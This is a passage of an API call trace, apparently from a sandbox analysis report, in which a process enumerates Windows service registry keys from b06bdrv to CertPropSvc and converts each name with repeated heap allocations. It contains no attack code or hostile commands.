(HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0220.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.704] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0220.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0220.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.704] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0220.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0220.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0220.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.704] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0220.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.704] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0220.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.705] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0220.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0220.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0220.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.705] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0220.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0220.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0220.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.705] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0220.705] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0220.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0220.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.706] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.706] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.706] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.706] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0220.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0220.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.706] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.706] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.706] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.706] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0220.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0220.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.706] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.706] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.706] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.706] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0220.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0220.706] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.706] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.706] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.707] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.707] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0220.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0220.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.707] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.707] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.707] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.707] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0220.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0220.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.707] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.707] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.707] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.707] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0220.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0220.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.707] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.707] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.707] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.707] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0220.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.707] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0220.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.708] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.708] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.708] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.708] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0220.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0220.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.708] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.708] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.708] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.708] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0220.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0220.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.708] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.708] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.708] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.708] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0220.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0220.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.708] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.708] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.708] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.708] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0220.708] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0220.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.709] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.709] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.709] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.709] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0220.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0220.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.709] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.709] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.709] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.709] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0220.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0220.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0220.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.709] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.709] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.709] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.709] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0220.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0220.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0220.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.709] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.710] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0220.710] 